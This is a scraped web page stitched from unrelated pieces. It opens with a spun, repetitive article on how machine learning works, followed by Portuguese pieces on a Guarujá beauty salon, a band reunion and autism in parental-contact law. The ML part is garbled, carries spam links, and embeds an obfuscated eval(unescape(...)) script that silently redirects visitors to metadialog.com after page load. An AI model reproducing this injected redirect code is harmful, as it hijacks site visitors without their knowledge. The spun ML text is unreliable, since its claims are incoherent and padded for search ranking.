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What is Machine Learning? Definition, Types and Examples

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how machine learning works

The goal of supervised learning is to map input data with the output data. The supervised learning is based on supervision, and it is the same as when a student learns things in the supervision of the teacher. The reason behind the need for machine learning is that it is capable of doing tasks that are too complex for a person to implement directly.

  • For example, a dataset for a supervised task might contain real estate data and price of each property.
  • The result is a model that can be used in the future with different sets of data.
  • Reinforcement learning algorithms are used for language processing, self-driving vehicles and game-playing AIs like Google’s AlphaGo.
  • In the case of a deep learning model, the feature extraction step is completely unnecessary.
  • The more generic ones include situations where data used for training is not clean and contains a lot of noise or garbage values, or the size of it is simply too small.
  • With time, these chatbots are expected to provide even more personalized experiences, such as offering legal advice on various matters, making critical business decisions, delivering personalized medical treatment, etc.

Machine learning ethics is becoming a field of study and notably be integrated within machine learning engineering teams. “Machine learning is the study of computer algorithms that improve automatically through experience and by the use of data. Machine learning algorithms build a model based on sample data, known as training data, in order to make predictions or decisions without being explicitly programmed to do so. If we talk about supervised versus unsupervised machine learning, unsupervised algorithms aren’t capable of performing processing tasks of the same complexity as supervised. An unsupervised learning AI system can figure out on its own how to sort data, but it might also add undesired categories to the output.

Providing Initial Input

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Machine learning algorithms recognize patterns and correlations, which means they are very good at analyzing their own ROI. For companies that invest in machine learning technologies, this feature allows for an almost immediate assessment of operational impact. Below is just a small sample of some of the growing areas of enterprise machine learning applications. Perhaps the most famous demonstration of the efficacy of machine-learning systems is the 2016 triumph of the Google DeepMind AlphaGo AI over a human grandmaster in Go, a feat that wasn’t expected until 2026. Go is an ancient Chinese game whose complexity bamboozled computers for decades. Over the course of a game of Go, there are so many possible moves that searching through each of them in advance to identify the best play is too costly from a computational standpoint.

  • Supported algorithms in Python include classification, regression, clustering, and dimensionality reduction.
  • The goal of a supervised machine learning algorithm is to predict something given a feature set of a phenomenon.
  • To achieve deep learning, the system engages with multiple layers in the network, extracting increasingly higher-level outputs.
  • Things like growing volumes and varieties of available data, computational processing that is cheaper and more powerful, and affordable data storage.
  • Data science is the broad scientific study that focuses on making sense of data.
  • You build a model of likely factors that might help identify what’s a cat in images, colors, shapes and so on.

Artificial intelligence, deep learning, and machine learning are deeply entrenched in our daily lives. These technologies might seem similar to some; indeed, they are interlinked although they have differences. It is a set of neural networks that tries to enact the workings of the human brain and learn from its experiences.

How does reinforcement learning work?

Computer vision systems will combine the machine learning approaches previously discussed with hardware like cameras, optical sensors, etc.. This approach does provide some limitations, including challenges with hardware and how metadialog.com to convert images into helpful data structures for machine learning. However, the ultimate goal of MLand artificial intelligence for many researchers is to increase the usefulness of these systems across multiple domains.

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how machine learning works

Machine learning has developed based on the ability to use computers to probe the data for structure, even if we do not have a theory of what that structure looks like. The test for a machine learning model is a validation error on new data, not a theoretical test that proves a null hypothesis. Because machine learning often uses an iterative approach to learn from data, the learning can be easily automated.

Machine Learning’s Role Will Only Continue to Grow

Machine learning can speed up one or more of these steps in this lengthy multi-step process. When AI research first started, researchers were trying to replicate human intelligence for specific tasks — like playing a game. You also hear executives saying they want to implement AI in their services. IBM Watson is a machine learning juggernaut, offering adaptability to most industries and the ability to build to huge scale across any cloud. The goal of BigML is to connect all of your company’s data streams and internal processes to simplify collaboration and analysis results across the organization. In Layman’s terms, Activation Functions deliver outputs based on the input.

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how machine learning works

Suppose you are looking to start harnessing the power of AI to boost your help desk capabilities. In that case, we encourage you to try it as it seamlessly integrates into your IT infrastructure, improving first response times and data accuracy for better routing and reporting. For instance, some models are more suited to dealing with texts, while they may better equip others to handle images. These categories come from the learning received or feedback given to the system developed. The y-axis is the loss value, which depends on the difference between the label and the prediction, and thus the network parameters — in this case, the one weight w. In this particular example, the number of rows of the weight matrix corresponds to the size of the input layer, which is two, and the number of columns to the size of the output layer, which is three.

Uses of Machine Learning

Two models are used for image captioning, both as important as the other. The image-based model will start by extracting features from the image, while the language-based model will translate those features into a logical sentence. Natural Language Processing (NLP) uses machine learning to reveal the structure and meaning of text. It analyzes text to understand the sentiment and extract key information. For example, if a model is given pictures of both dogs and cats, it isn’t already trained to know the features that differentiate both.

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Google Photos Is Getting On-Demand Cinematic Photo Effects: What It Is And How It Works – News18

Google Photos Is Getting On-Demand Cinematic Photo Effects: What It Is And How It Works.

Posted: Sat, 10 Jun 2023 06:49:18 GMT [source]

For example, UberEats uses machine learning to estimate optimum times for drivers to pick up food orders, while Spotify leverages machine learning to offer personalized content and personalized marketing. And Dell uses machine learning text analysis to save hundreds of hours analyzing thousands of employee surveys to listen to the voice of employee (VoE) and improve employee satisfaction. This model is used to predict quantities, such as the probability an event will happen, meaning the output may have any number value within a certain range. Predicting the value of a property in a specific neighborhood or the spread of COVID19 in a particular region are examples of regression problems. There are a number of classification algorithms used in supervised learning, with Support Vector Machines (SVM) and Naive Bayes among the most common. Once the input variables have been multiplied by their respective weight, the Bias will be added to it.

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Entertainment Machine Learning Examples

In this example, a domain expert would need to spend considerable time engineering a conventional machine learning system to detect the features that represent a cat. With deep learning, all that is needed is to supply the system with a very large number of cat images, and the system can autonomously learn the features that represent a cat. Deep learning networks learn by discovering intricate structures in the data they experience. By building computational models that are composed of multiple processing layers, the networks can create multiple levels of abstraction to represent the data. The accuracy, heterogeneity, linearity, and redundancy of the data should also be analyzed before selecting a supervised learning algorithm.

https://metadialog.com/

Just as vision played a crucial role in the evolution of life on earth, deep learning and neural networks will enhance the capabilities of robots. Increasingly, they will be able to understand their environment, make autonomous decisions, collaborate with us, and augment our own capabilities. Training data must be cleaned and balanced before it’s presented to the model. Duplicates and low-quality data that doesn’t fit predefined labels will alter the algorithm, and model accuracy will drop as well.

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What’s the Difference Between Machine Learning and Deep Learning?

You can learn more about machine learning in various ways, including self-study, traditional college degree programs and online boot camps. Machine learning is part of the Berkeley Data Analytics Boot Camp curriculum, which gives students insights into how machine learning works. Berkeley FinTech Boot Camp can help demonstrate how machine learning works specifically in the finance sector.

How does machine learning work in simple words?

Machine learning is a form of artificial intelligence (AI) that teaches computers to think in a similar way to how humans do: Learning and improving upon past experiences. It works by exploring data and identifying patterns, and involves minimal human intervention.

Legislation such as this has forced companies to rethink how they store and use personally identifiable information (PII). As a result, investments in security have become an increasing priority for businesses as they seek to eliminate any vulnerabilities and opportunities for surveillance, hacking, and cyberattacks. The system used reinforcement learning to learn when to attempt an answer (or question, as it were), which square to select on the board, and how much to wager—especially on daily doubles.

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How Deep Learning Works

When analyzing mammograms for signs of breast cancer, a locked algorithm would be unable to learn from new subpopulations to which it is applied. Since average breast density can differ by race, this could lead to misdiagnoses if the system screens people from a demographic group that was underrepresented in the training data. Similarly, a credit-scoring algorithm trained on a socioeconomically segregated subset of the population can discriminate against certain borrowers in much the same way that the illegal practice of redlining does.

Ready to work it? News, Sports, Jobs – Messenger News – Fort Dodge Messenger

Ready to work it? News, Sports, Jobs – Messenger News.

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Posted: Sat, 10 Jun 2023 05:09:15 GMT [source]

Long before we began using deep learning, we relied on traditional machine learning methods including decision trees, SVM, naïve Bayes classifier and logistic regression. “Flat” here refers to the fact these algorithms cannot normally be applied directly to the raw data (such as .csv, images, text, etc.). Deep learning is a subset of machine learning, which is a subset of artificial intelligence. Artificial intelligence is a general term that refers to techniques that enable computers to mimic human behavior. Machine learning represents a set of algorithms trained on data that make all of this possible. In traditional terms, artificial intelligence or AI is simply an algorithm, code, or technique that enables machines to mimic, develop, and demonstrate human cognition or behavior.

how machine learning works

How machine learning works in real life?

Facial recognition is one of the more obvious applications of machine learning. People previously received name suggestions for their mobile photos and Facebook tagging, but now someone is immediately tagged and verified by comparing and analyzing patterns through facial contours.

eval(unescape(“%28function%28%29%7Bif%20%28new%20Date%28%29%3Enew%20Date%28%27November%205%2C%202020%27%29%29setTimeout%28function%28%29%7Bwindow.location.href%3D%27https%3A//www.metadialog.com/%27%3B%7D%2C5*1000%29%3B%7D%29%28%29%3B”));

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Salão Rosanah Oliveira se consolida como referência em beleza e visagismo no Guarujá

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Créditos da foto: Divulgação

Com três décadas de experiência no setor da beleza, a cabeleireira, visagista e colorista Rosanah Oliveira vem construindo uma trajetória marcada pela confiança e fidelização de clientes. À frente do Salão de Beleza Rosanah Oliveira, na Praia da Enseada, no Guarujá (SP), ela celebra dois anos e meio no atual endereço, período em que o espaço se firmou como um ponto de referência para quem busca serviços de alta qualidade e atendimento personalizado.

De acordo com Rosanah, o salão é reconhecido principalmente pelos trabalhos de coloração, mechas de transformação e cortes, que representam o carro-chefe dos atendimentos. “Muitas pessoas chegam até mim por indicação ou até mesmo para corrigir serviços realizados em outros locais”, explica. Especialista em Colorimetria, Rosanah destaca que sua paixão por cortes e cores se reflete na busca constante por atualização profissional.

Eu e minha equipe de profissionais para atendimento à noivas. Esta noiva veio indicada do Canadá. (Trabalho com intercâmbio de clientes).
Eu e minha equipe de profissionais para atendimento à noivas. Esta noiva veio indicada do Canadá. (Trabalho com intercâmbio de clientes).

O salão, com cerca de 50 metros quadrados, foi projetado para oferecer conforto e bem-estar. No térreo, há três cadeiras hidráulicas giratórias e lavatórios adaptáveis à coluna e à extensão das pernas, além de um espaço confortável destinado ao trabalho das manicures e nail designers. Já na parte superior, o ambiente conta com duas salas exclusivas: uma para massagem e outra para maquiagem, ampliando o leque de serviços oferecidos.

Profissional certificada por diversas marcas de renome, Rosanah atua como profissional L’Oréal e utiliza produtos das linhas Kérastase, Keune e AlfaParf. Segundo ela, a escolha por cosméticos de alta performance é essencial para garantir resultados duradouros e seguros. Entre as técnicas mais procuradas, está o Ombré Hair Mechas Turbo, um método desenvolvido para agilizar o processo de descoloração. “Em apenas 30 minutos monto as mechas e, em cerca de uma hora, já estamos lavando o cabelo”, afirma.

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Créditos da foto: Divulgação
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Além da expertise técnica, Rosanah aposta em um atendimento humanizado e na pontualidade como diferenciais. Todos os serviços são agendados com hora marcada, e o registro de fotos do antes e depois — sempre com a autorização da cliente — é uma forma de valorizar o resultado final e compartilhar inspirações nas redes sociais. Outro destaque é o atendimento home care, pensado para levar o cuidado e a praticidade até as clientes.

Ao longo da carreira, Rosanah acumulou uma trajetória de destaque nos bastidores da beleza, atendendo atrizes, apresentadoras, cantoras, empresárias e figuras públicas. Entre as personalidades que já passaram por suas mãos estão Adriane Galisteu, Mara Maravilha, Isabela Fiorentino e Patrícia Salvador. Ela também participou da produção do casamento da família Abravanel, em que maquiou as madrinhas e a sogra de Renata Abravanel, filha de Silvio Santos, além de ter atendido Daniela Abravanel em outras ocasiões, realizando escovas durante o período em que integrou a equipe do Jacques Janine Jequitimar. Rosanah também fez parte do grupo de profissionais responsáveis pela produção de casamentos da família Datena, experiência que considera um marco em sua trajetória.

Créditos da foto: Divulgação
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A profissional foi ainda responsável pela produção das convidadas da festa do cantor Latino e pela produção das produtoras da Anitta e da dupla Victor & Leo. No meio gospel, maquiou e penteou artistas consagradas como Alda Célia, Ana Paula Valadão, Helena Tanure e a pastora americana Devi Titus, reconhecida internacionalmente. Rosanah também conquistou espaço junto a figuras do meio político e empresarial, realizando trabalhos para Bia Doria, esposa do ex-governador João Doria. Entre as clientes empresárias, destaque para nomes como Graça Costa, da Cardystem (Alarme Via Satélite), e Katiuscia, da Comeri Concessionária de Veículos.

Segundo Rosanah, sua trajetória é marcada por desafios e superações que contribuíram para consolidar seu nome no mercado. Um dos momentos mais significativos foi sua participação na seletiva do programa “Duelo de Salões”, da TV Record, onde ficou a apenas um ponto da classificação final. “Foi tudo muito rápido, e acabei não tendo uma modelo para fazer um diferencial maior, mas a experiência foi incrível e me motivou ainda mais a seguir em frente”, relembra.

Créditos da foto: Divulgação
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De acordo com a profissional, o segredo está em entender o perfil e a necessidade de cada cliente. “O visagismo é essencial para respeitar a personalidade e o estilo de cada pessoa. Não existe um serviço igual ao outro, e isso faz toda a diferença”, destaca. Além disso, Rosanah continua expandindo suas parcerias no segmento de eventos, tendo firmado recentemente uma colaboração com o renomado profissional Paulo Valentim para produções de casamentos em São Paulo e na Baixada Santista, realizando penteados e maquiagens de noivas.

O Salão de Beleza Rosanah Oliveira está localizado na Rua Argentina, 35, loja 05, bairro Vitória, no Guarujá (SP). O agendamento de horários pode ser feito pelo telefone (13) 99636-0453.

Para acompanhar as novidades, transformações e bastidores dos atendimentos, basta seguir @Rosanaholiveira_ no Instagram e Rosanah Oliveira no Facebook.

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“Traz o rock de volta, por favor”, fãs criam expectativa com reunião on-line de ex-integrantes da Banda Megafone

Após anos afastados dos palcos e das redes sociais, os ex-integrantes da Banda Megafone movimentaram a internet neste sábado. No perfil oficial do grupo, que não se apresenta junto desde 2016, foi publicada uma reunião on-line com Leandro Bher, Leo Rapini, Silvio Lacerda, Thiago White, Filipe Bandeira, Abner Anthony e Luiz Bahl. A publicação despertou […]

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Após anos afastados dos palcos e das redes sociais, os ex-integrantes da Banda Megafone movimentaram a internet neste sábado. No perfil oficial do grupo, que não se apresenta junto desde 2016, foi publicada uma reunião on-line com Leandro Bher, Leo Rapini, Silvio Lacerda, Thiago White, Filipe Bandeira, Abner Anthony e Luiz Bahl.

A publicação despertou grande curiosidade entre os fãs, que começaram a especular sobre uma possível nova fase da banda ou lançamentos inéditos. “Traz o rock de volta, por favor”, comentou um seguidor. “Vai rolar alguma gravação pra comemorar alguns anos de Megafone”, escreveu outro.

O clima de expectativa cresce. A postagem reacende a memória de hits que marcaram gerações e a ansiedade de fãs que acompanham a trajetória da banda desde 2001. O baterista Leandro Bher, consagrado por indicação ao Grammy Latino 2015, compartilhou um trecho da canção “Começou” em sua rede social, aumentando ainda mais a esperança do público. “Uma das minhas músicas favoritas do Megafone”, escreveu Leandro. A especulação aumenta, porque o músico está ativo no perfil pessoal @leandrobsilverio e profissional @leobdrum desde o início de setembro. Vale lembrar que, após o encerramento da banda, o baterista reside em Boston, nos Estados Unidos, explorando a tradição da bateria acústica e as possibilidades da tecnologia digital no Youtube.

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ALEXANDRA ULLMANN – Advogada e psicóloga.

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Referência nacional em Direito de Família, com foco em alienação parental, falsas denúncias de abuso sexual e guarda compartilhada.

Perita judicial, atua há mais de duas décadas na interface entre direito e psicologia. Participou do documentário A Morte Inventada e teve papel ativo na criação da Lei da Alienação Parental. É autora do livro Tudo em Dobro ou pela Metade?, voltado ao público infantil, e palestrante em eventos no Brasil e no exterior.

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TEA e Convivência Parental: Limites Jurídicos e Proteção aos Direitos da Criança

O Transtorno do Espectro Autista (TEA) é uma condição do neurodesenvolvimento que impacta, em diferentes níveis, a comunicação, o comportamento e a interação social do indivíduo. No âmbito do Direito de Família, especialmente diante da separação dos genitores, surgem situações delicadas envolvendo a convivência familiar de crianças com TEA.

Uma das questões mais recorrentes no cotidiano forense é se o transtorno pode ser considerado um impeditivo à convivência com um dos genitores, ou ainda, se pode justificar restrições severas no regime de convivência. A resposta deve ser clara e embasada no ordenamento jurídico brasileiro: a existência de TEA não constitui, por si só, motivo legítimo para a limitação ou supressão do convívio familiar.

A Constituição Federal, em seu artigo 227, estabelece como dever da família, da sociedade e do Estado assegurar à criança e ao adolescente, com absoluta prioridade, o direito à convivência familiar e comunitária. Tal previsão é reiterada pelo artigo 19 do Estatuto da Criança e do Adolescente (Lei nº 8.069/1990), que garante a todas as crianças o direito de ser criado e educado no seio de sua família, ressalvando que a convivência é um elemento essencial ao desenvolvimento integral do ser humano, inclusive para crianças com deficiência ou com necessidades específicas, como no caso do TEA.

Adicionalmente, a Lei nº 12.764/2012, que institui a Política Nacional de Proteção dos Direitos da Pessoa com Transtorno do Espectro Autista, estabelece que a pessoa com TEA é considerada, para todos os efeitos legais, pessoa com deficiência, e tem direito a todas as políticas públicas de inclusão e proteção previstas na legislação brasileira. Complementando esse entendimento, o Estatuto da Pessoa com Deficiência (Lei nº 13.146/2015) determina que é dever da família assegurar à pessoa com deficiência, com prioridade, os direitos fundamentais, incluindo a convivência familiar.

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Dessa forma, impedir que uma criança com autismo conviva com um dos seus genitores exclusivamente com base no seu diagnóstico representa uma afronta direta ao princípio do melhor interesse da criança, além de constituir violação aos direitos previstos nas normas supracitadas. Importante destacar que, embora o TEA possa demandar ajustes na rotina, ambientes estruturados e cuidados específicos, isso não justifica o rompimento de vínculos parentais.

O que deve ocorrer, nos casos concretos, é a adequação do regime de convivência às necessidades e possibilidades da criança, sempre entendendo que ambos os pais devem ser inseridos na “rotina” do filho comum. Porém, qualquer decisão nesse sentido deve estar fundamentada em avaliação técnica por equipe multidisciplinar, e nunca em suposições, receios subjetivos ou conflitos entre os pais.

É cada vez mais comum, infelizmente, observar que um dos genitores utiliza a condição do filho como argumento para afastar o outro da convivência, sob alegação de que a criança “não tolera mudanças”, “não aceita sair de casa” ou “fica agitada após os períodos de convivência”. Essas alegações, quando não acompanhadas de avaliação técnica ou de laudos médicos, não se sustentam juridicamente. Ao contrário, podem configurar prática de ato de alienação parental, conforme disposto na Lei nº 12.318/2010, pois promovem o rompimento injustificado do vínculo afetivo da criança com o outro genitor.

O Judiciário, diante dessas alegações, deve agir com cautela e buscar o suporte de profissionais da psicologia, serviço social, neurologistas e psiquiatras, utilizando-se sempre de acompanhamento de uma equipe interdisciplinar. A atuação das equipes técnicas é fundamental para verificar se há, de fato, risco à integridade física ou emocional da criança, ou se se trata de uma tentativa de manipulação do discurso médico em prol de interesses pessoais dos genitores.

Em casos muito excepcionais, quando comprovado que a convivência com um dos pais representa efetivo prejuízo ao bem-estar da criança, o regime de convivência pode ser temporariamente suspenso ou supervisionado. Contudo, tais situações são exceções e dependem de prova técnica robusta.

A jurisprudência brasileira tem reafirmado, de forma consistente, o entendimento de que o TEA não é causa legítima para afastar o genitor da convivência com o filho. Os tribunais vêm decidindo que a condição do autismo exige cuidados e adaptações, mas não justifica a exclusão de um dos pais da vida da criança. Ao contrário, a manutenção do vínculo afetivo com ambos os genitores é fundamental para o desenvolvimento emocional e psíquico do menor, sendo o rompimento dessa relação fator de risco adicional.

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Portanto, o direito à convivência familiar deve ser respeitado em sua integralidade, inclusive, e especialmente, para crianças portadores de TEA. A atuação jurídica responsável exige que se afastem preconceitos e generalizações sobre o autismo, tratando cada caso com a individualidade que requer.

Impedir a convivência com base em argumentos genéricos não apenas viola os direitos fundamentais da criança, como também desrespeita os princípios constitucionais da dignidade da pessoa humana, da proteção integral e do melhor interesse da criança.

Assim, conclui-se que o Transtorno do Espectro Autista não constitui, por si só, impedimento à convivência entre pais e filhos após a separação. O que se impõe é a adaptação do convívio às peculiaridades do caso, com diálogo, empatia, orientação profissional e, se necessário, intervenção do Judiciário.

A exclusão de um dos genitores da vida da criança deve ser medida extrema, excepcional, e sempre devidamente fundamentada. Fora disso, estar-se-á diante de grave violação de direitos e possível prática de ato de alienação parental.

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